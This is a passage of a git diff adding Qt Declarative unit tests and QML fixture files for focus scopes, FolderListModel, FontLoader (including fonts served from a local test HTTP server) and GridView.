+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/signalEmission.qml"));
+
+ QDeclarativeRectangle *item1 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeRectangle *item2 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeRectangle *item3 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item3"));
+ QDeclarativeRectangle *item4 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item4"));
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+ QVERIFY(item4 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVariant blue(QColor("blue"));
+ QVariant red(QColor("red"));
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ item1->setFocus(true);
+ QCOMPARE(item1->property("color"), red);
+ QCOMPARE(item2->property("color"), blue);
+ QCOMPARE(item3->property("color"), blue);
+ QCOMPARE(item4->property("color"), blue);
+
+ item2->setFocus(true);
+ QCOMPARE(item1->property("color"), blue);
+ QCOMPARE(item2->property("color"), red);
+ QCOMPARE(item3->property("color"), blue);
+ QCOMPARE(item4->property("color"), blue);
+
+ item3->setFocus(true);
+ QCOMPARE(item1->property("color"), blue);
+ QCOMPARE(item2->property("color"), red);
+ QCOMPARE(item3->property("color"), red);
+ QCOMPARE(item4->property("color"), blue);
+
+ item4->setFocus(true);
+ QCOMPARE(item1->property("color"), blue);
+ QCOMPARE(item2->property("color"), red);
+ QCOMPARE(item3->property("color"), blue);
+ QCOMPARE(item4->property("color"), red);
+
+ item4->setFocus(false);
+ QCOMPARE(item1->property("color"), blue);
+ QCOMPARE(item2->property("color"), red);
+ QCOMPARE(item3->property("color"), blue);
+ QCOMPARE(item4->property("color"), blue);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::qtBug13380()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtBug13380.qml"));
+
+ view->show();
+ QVERIFY(view->rootObject());
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ QVERIFY(view->rootObject()->property("noFocus").toBool());
+
+ view->rootObject()->setProperty("showRect", true);
+ QVERIFY(view->rootObject()->property("noFocus").toBool());
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::forceActiveFocus()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/forceActiveFocus.qml"));
+
+ QGraphicsObject *rootObject = view->rootObject();
+ QVERIFY(rootObject);
+
+ QDeclarativeItem *scope = findItem<QDeclarativeItem>(rootObject, QLatin1String("scope"));
+ QDeclarativeItem *itemA1 = findItem<QDeclarativeItem>(rootObject, QLatin1String("item-a1"));
+ QDeclarativeItem *scopeA = findItem<QDeclarativeItem>(rootObject, QLatin1String("scope-a"));
+ QDeclarativeItem *itemA2 = findItem<QDeclarativeItem>(rootObject, QLatin1String("item-a2"));
+ QDeclarativeItem *itemB1 = findItem<QDeclarativeItem>(rootObject, QLatin1String("item-b1"));
+ QDeclarativeItem *scopeB = findItem<QDeclarativeItem>(rootObject, QLatin1String("scope-b"));
+ QDeclarativeItem *itemB2 = findItem<QDeclarativeItem>(rootObject, QLatin1String("item-b2"));
+
+ QVERIFY(scope);
+ QVERIFY(itemA1);
+ QVERIFY(scopeA);
+ QVERIFY(itemA2);
+ QVERIFY(itemB1);
+ QVERIFY(scopeB);
+ QVERIFY(itemB2);
+
+ QSignalSpy rootSpy(rootObject, SIGNAL(activeFocusChanged(bool)));
+ QSignalSpy scopeSpy(scope, SIGNAL(activeFocusChanged(bool)));
+ QSignalSpy scopeASpy(scopeA, SIGNAL(activeFocusChanged(bool)));
+ QSignalSpy scopeBSpy(scopeB, SIGNAL(activeFocusChanged(bool)));
+
+ // First, walk the focus from item-a1 down to item-a2 and back again
+ itemA1->forceActiveFocus();
+ QVERIFY(itemA1->hasActiveFocus());
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ scopeA->forceActiveFocus();
+ QVERIFY(!itemA1->hasActiveFocus());
+ QVERIFY(scopeA->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 1);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ itemA2->forceActiveFocus();
+ QVERIFY(!itemA1->hasActiveFocus());
+ QVERIFY(itemA2->hasActiveFocus());
+ QVERIFY(scopeA->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 1);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ scopeA->forceActiveFocus();
+ QVERIFY(!itemA1->hasActiveFocus());
+ QVERIFY(itemA2->hasActiveFocus());
+ QVERIFY(scopeA->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 1);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ itemA1->forceActiveFocus();
+ QVERIFY(itemA1->hasActiveFocus());
+ QVERIFY(!scopeA->hasActiveFocus());
+ QVERIFY(!itemA2->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 2);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ // Then jump back and forth between branch 'a' and 'b'
+ itemB1->forceActiveFocus();
+ QVERIFY(itemB1->hasActiveFocus());
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ scopeA->forceActiveFocus();
+ QVERIFY(!itemA1->hasActiveFocus());
+ QVERIFY(!itemB1->hasActiveFocus());
+ QVERIFY(scopeA->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 3);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ scopeB->forceActiveFocus();
+ QVERIFY(!scopeA->hasActiveFocus());
+ QVERIFY(!itemB1->hasActiveFocus());
+ QVERIFY(scopeB->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 4);
+ QCOMPARE(scopeBSpy.count(), 1);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ itemA2->forceActiveFocus();
+ QVERIFY(!scopeB->hasActiveFocus());
+ QVERIFY(itemA2->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 5);
+ QCOMPARE(scopeBSpy.count(), 2);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ itemB2->forceActiveFocus();
+ QVERIFY(!itemA2->hasActiveFocus());
+ QVERIFY(itemB2->hasActiveFocus());
+ QCOMPARE(scopeASpy.count(), 6);
+ QCOMPARE(scopeBSpy.count(), 3);
+ QCOMPARE(rootSpy.count(), 1);
+ QCOMPARE(scopeSpy.count(), 1);
+
+ delete view;
+}
+
+QTEST_MAIN(tst_qdeclarativefocusscope)
+
+#include "tst_qdeclarativefocusscope.moc"
diff --git a/tests/auto/declarative/qdeclarativefolderlistmodel/data/basic.qml b/tests/auto/declarative/qdeclarativefolderlistmodel/data/basic.qml
new file mode 100644
index 00000000..2c4977d0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefolderlistmodel/data/basic.qml
@@ -0,0 +1,5 @@
+import Qt.labs.folderlistmodel 1.0
+
+FolderListModel {
+ nameFilters: [ "*.qml" ]
+}
diff --git a/tests/auto/declarative/qdeclarativefolderlistmodel/data/dummy.qml b/tests/auto/declarative/qdeclarativefolderlistmodel/data/dummy.qml
new file mode 100644
index 00000000..609638be
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefolderlistmodel/data/dummy.qml
@@ -0,0 +1 @@
+// This file is not used, it is just content for QDirModel
diff --git a/tests/auto/declarative/qdeclarativefolderlistmodel/qdeclarativefolderlistmodel.pro b/tests/auto/declarative/qdeclarativefolderlistmodel/qdeclarativefolderlistmodel.pro
new file mode 100644
index 00000000..b7e5e5fc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefolderlistmodel/qdeclarativefolderlistmodel.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativefolderlistmodel.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativefolderlistmodel/tst_qdeclarativefolderlistmodel.cpp b/tests/auto/declarative/qdeclarativefolderlistmodel/tst_qdeclarativefolderlistmodel.cpp
new file mode 100644
index 00000000..bfccc8af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefolderlistmodel/tst_qdeclarativefolderlistmodel.cpp
@@ -0,0 +1,152 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include "../../../shared/util.h"
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qabstractitemmodel.h>
+#include <QDebug>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+// From qdeclarastivefolderlistmodel.h
+const int FileNameRole = Qt::UserRole+1;
+const int FilePathRole = Qt::UserRole+2;
+enum SortField { Unsorted, Name, Time, Size, Type };
+
+class tst_qdeclarativefolderlistmodel : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativefolderlistmodel() : removeStart(0), removeEnd(0) {}
+
+public slots:
+ void removed(const QModelIndex &, int start, int end) {
+ removeStart = start;
+ removeEnd = end;
+ }
+
+private slots:
+ void basicProperties();
+ void refresh();
+
+private:
+ void checkNoErrors(const QDeclarativeComponent& component);
+ QDeclarativeEngine engine;
+
+ int removeStart;
+ int removeEnd;
+};
+
+void tst_qdeclarativefolderlistmodel::checkNoErrors(const QDeclarativeComponent& component)
+{
+ // Wait until the component is ready
+ QTRY_VERIFY(component.isReady() || component.isError());
+
+ if (component.isError()) {
+ QList<QDeclarativeError> errors = component.errors();
+ for (int ii = 0; ii < errors.count(); ++ii) {
+ const QDeclarativeError &error = errors.at(ii);
+ QByteArray errorStr = QByteArray::number(error.line()) + ":" +
+ QByteArray::number(error.column()) + ":" +
+ error.description().toUtf8();
+ qWarning() << errorStr;
+ }
+ }
+ QVERIFY(!component.isError());
+}
+
+void tst_qdeclarativefolderlistmodel::basicProperties()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/basic.qml"));
+ checkNoErrors(component);
+
+ QAbstractListModel *flm = qobject_cast<QAbstractListModel*>(component.create());
+ QVERIFY(flm != 0);
+
+ flm->setProperty("folder",QUrl::fromLocalFile(SRCDIR "/data"));
+ QTRY_COMPARE(flm->property("count").toInt(),2); // wait for refresh
+ QCOMPARE(flm->property("folder").toUrl(), QUrl::fromLocalFile(SRCDIR "/data"));
+ QCOMPARE(flm->property("parentFolder").toUrl(), QUrl::fromLocalFile(SRCDIR));
+ QCOMPARE(flm->property("sortField").toInt(), int(Name));
+ QCOMPARE(flm->property("nameFilters").toStringList(), QStringList() << "*.qml");
+ QCOMPARE(flm->property("sortReversed").toBool(), false);
+ QCOMPARE(flm->property("showDirs").toBool(), true);
+ QCOMPARE(flm->property("showDotAndDotDot").toBool(), false);
+ QCOMPARE(flm->property("showOnlyReadable").toBool(), false);
+ QCOMPARE(flm->data(flm->index(0),FileNameRole).toString(), QLatin1String("basic.qml"));
+ QCOMPARE(flm->data(flm->index(1),FileNameRole).toString(), QLatin1String("dummy.qml"));
+
+ flm->setProperty("folder",QUrl::fromLocalFile(""));
+ QCOMPARE(flm->property("folder").toUrl(), QUrl::fromLocalFile(""));
+}
+
+void tst_qdeclarativefolderlistmodel::refresh()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/basic.qml"));
+ checkNoErrors(component);
+
+ QAbstractListModel *flm = qobject_cast<QAbstractListModel*>(component.create());
+ QVERIFY(flm != 0);
+
+ flm->setProperty("folder",QUrl::fromLocalFile(SRCDIR "/data"));
+ QTRY_COMPARE(flm->property("count").toInt(),2); // wait for refresh
+
+ int count = flm->rowCount();
+
+ connect(flm, SIGNAL(rowsRemoved(const QModelIndex&,int,int)),
+ this, SLOT(removed(const QModelIndex&,int,int)));
+
+ flm->setProperty("sortReversed", true);
+
+ QCOMPARE(removeStart, 0);
+ QCOMPARE(removeEnd, count-1);
+}
+
+QTEST_MAIN(tst_qdeclarativefolderlistmodel)
+
+#include "tst_qdeclarativefolderlistmodel.moc"
diff --git a/tests/auto/declarative/qdeclarativefontloader/data/daniel.ttf b/tests/auto/declarative/qdeclarativefontloader/data/daniel.ttf
new file mode 100644
index 00000000..aae50d50
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefontloader/data/daniel.ttf
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativefontloader/data/dummy.ttf b/tests/auto/declarative/qdeclarativefontloader/data/dummy.ttf
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefontloader/data/dummy.ttf
diff --git a/tests/auto/declarative/qdeclarativefontloader/data/tarzeau_ocr_a.ttf b/tests/auto/declarative/qdeclarativefontloader/data/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefontloader/data/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativefontloader/qdeclarativefontloader.pro b/tests/auto/declarative/qdeclarativefontloader/qdeclarativefontloader.pro
new file mode 100644
index 00000000..357268b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefontloader/qdeclarativefontloader.pro
@@ -0,0 +1,17 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativefontloader.cpp ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativefontloader/tst_qdeclarativefontloader.cpp b/tests/auto/declarative/qdeclarativefontloader/tst_qdeclarativefontloader.cpp
new file mode 100644
index 00000000..4d024c78
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefontloader/tst_qdeclarativefontloader.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <private/qdeclarativefontloader_p.h>
+#include "../../../shared/util.h"
+#include "../shared/testhttpserver.h"
+
+#define SERVER_PORT 14448
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativefontloader : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativefontloader();
+
+private slots:
+ void init();
+ void noFont();
+ void namedFont();
+ void localFont();
+ void failLocalFont();
+ void webFont();
+ void redirWebFont();
+ void failWebFont();
+ void changeFont();
+
+private:
+ QDeclarativeEngine engine;
+ TestHTTPServer server;
+};
+
+tst_qdeclarativefontloader::tst_qdeclarativefontloader() :
+ server(SERVER_PORT)
+{
+ server.serveDirectory(SRCDIR "/data");
+}
+
+void tst_qdeclarativefontloader::init()
+{
+ QVERIFY(server.isValid());
+}
+
+void tst_qdeclarativefontloader::noFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QCOMPARE(fontObject->name(), QString(""));
+ QCOMPARE(fontObject->source(), QUrl(""));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Null);
+
+ delete fontObject;
+}
+
+void tst_qdeclarativefontloader::namedFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { name: \"Helvetica\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QCOMPARE(fontObject->source(), QUrl(""));
+ QCOMPARE(fontObject->name(), QString("Helvetica"));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+}
+
+void tst_qdeclarativefontloader::localFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"" SRCDIR "/data/tarzeau_ocr_a.ttf\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QVERIFY(fontObject->source() != QUrl(""));
+ QTRY_COMPARE(fontObject->name(), QString("OCRA"));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+}
+
+void tst_qdeclarativefontloader::failLocalFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/dummy.ttf").toString() + "\" }";
+ QTest::ignoreMessage(QtWarningMsg, QString("file::2:1: QML FontLoader: Cannot load font: \"" + QUrl::fromLocalFile(SRCDIR "/data/dummy.ttf").toString() + "\"").toUtf8().constData());
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QVERIFY(fontObject->source() != QUrl(""));
+ QTRY_COMPARE(fontObject->name(), QString(""));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Error);
+}
+
+void tst_qdeclarativefontloader::webFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/tarzeau_ocr_a.ttf\" }";
+ QDeclarativeComponent component(&engine);
+
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QVERIFY(fontObject->source() != QUrl(""));
+ QTRY_COMPARE(fontObject->name(), QString("OCRA"));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+}
+
+void tst_qdeclarativefontloader::redirWebFont()
+{
+ server.addRedirect("olddir/oldname.ttf","../tarzeau_ocr_a.ttf");
+
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/olddir/oldname.ttf\" }";
+ QDeclarativeComponent component(&engine);
+
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QVERIFY(fontObject->source() != QUrl(""));
+ QTRY_COMPARE(fontObject->name(), QString("OCRA"));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+}
+
+void tst_qdeclarativefontloader::failWebFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: \"http://localhost:14448/nonexist.ttf\" }";
+ QTest::ignoreMessage(QtWarningMsg, "file::2:1: QML FontLoader: Cannot load font: \"http://localhost:14448/nonexist.ttf\"");
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+ QVERIFY(fontObject->source() != QUrl(""));
+ QTRY_COMPARE(fontObject->name(), QString(""));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Error);
+}
+
+void tst_qdeclarativefontloader::changeFont()
+{
+ QString componentStr = "import QtQuick 1.0\nFontLoader { source: font }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("font", QUrl::fromLocalFile(SRCDIR "/data/tarzeau_ocr_a.ttf"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeFontLoader *fontObject = qobject_cast<QDeclarativeFontLoader*>(component.create());
+
+ QVERIFY(fontObject != 0);
+
+ QSignalSpy nameSpy(fontObject, SIGNAL(nameChanged()));
+ QSignalSpy statusSpy(fontObject, SIGNAL(statusChanged()));
+
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+ QCOMPARE(nameSpy.count(), 0);
+ QCOMPARE(statusSpy.count(), 0);
+ QTRY_COMPARE(fontObject->name(), QString("OCRA"));
+
+ ctxt->setContextProperty("font", "http://localhost:14448/daniel.ttf");
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Loading);
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+ QCOMPARE(nameSpy.count(), 1);
+ QCOMPARE(statusSpy.count(), 2);
+ QTRY_COMPARE(fontObject->name(), QString("Daniel"));
+
+ ctxt->setContextProperty("font", QUrl::fromLocalFile(SRCDIR "/data/tarzeau_ocr_a.ttf"));
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+ QCOMPARE(nameSpy.count(), 2);
+ QCOMPARE(statusSpy.count(), 2);
+ QTRY_COMPARE(fontObject->name(), QString("OCRA"));
+
+ ctxt->setContextProperty("font", "http://localhost:14448/daniel.ttf");
+ QTRY_VERIFY(fontObject->status() == QDeclarativeFontLoader::Ready);
+ QCOMPARE(nameSpy.count(), 3);
+ QCOMPARE(statusSpy.count(), 2);
+ QTRY_COMPARE(fontObject->name(), QString("Daniel"));
+}
+
+QTEST_MAIN(tst_qdeclarativefontloader)
+
+#include "tst_qdeclarativefontloader.moc"
diff --git a/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
new file mode 100644
index 00000000..d527e9d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+GridView {
+ id: view
+ width: 240; height: 320
+
+ property variant addedDelegates: []
+ property int removedDelegateCount
+
+ model: testModel
+
+ cellWidth: delegateWidth; cellHeight: delegateHeight
+
+ delegate: Rectangle {
+ width: delegateWidth; height: delegateHeight
+ border.width: 1
+ GridView.onAdd: {
+ var obj = GridView.view.addedDelegates
+ obj.push(model.name)
+ GridView.view.addedDelegates = obj
+ }
+ GridView.onRemove: {
+ view.removedDelegateCount += 1
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativegridview/data/displaygrid.qml b/tests/auto/declarative/qdeclarativegridview/data/displaygrid.qml
new file mode 100644
index 00000000..93f39ffd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/displaygrid.qml
@@ -0,0 +1,39 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ Text {
+ y: 20
+ id: displayText
+ objectName: "displayText"
+ text: display
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ]
+ GridView {
+ id: grid
+ objectName: "grid"
+ width: 240
+ height: 320
+ cellWidth: 80
+ cellHeight: 60
+ model: testModel
+ delegate: myDelegate
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/footer.qml b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
new file mode 100644
index 00000000..b41e2ac0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+Rectangle {
+ function changeFooter() {
+ grid.footer = footer2
+ }
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ GridView {
+ id: grid
+ objectName: "grid"
+ width: 240
+ height: 320
+ cellWidth: 80
+ cellHeight: 60
+ model: testModel
+ delegate: myDelegate
+ footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
+ }
+
+ Component {
+ id: footer2
+ Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview-enforcerange.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview-enforcerange.qml
new file mode 100644
index 00000000..69eaa477
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview-enforcerange.qml
@@ -0,0 +1,58 @@
+import QtQuick 1.1
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ objectName: "wrapper"
+ height: 100
+ width: 100
+ Text {
+ text: index
+ }
+ Text {
+ y: 25
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ y: 50
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ y: 75
+ text: wrapper.y
+ }
+ }
+ }
+
+ Component {
+ id: myHighlight
+ Rectangle {
+ color: "lightsteelblue"
+ }
+ }
+
+ GridView {
+ id: grid
+ objectName: "grid"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ highlight: myHighlight
+ flow: (testTopToBottom == true) ? GridView.TopToBottom : GridView.LeftToRight
+ layoutDirection: (testRightToLeft == true) ? Qt.RightToLeft : Qt.LeftToRight
+ preferredHighlightBegin: 100
+ preferredHighlightEnd: 100
+ highlightRangeMode: "StrictlyEnforceRange"
+ focus: true
+ }
+}
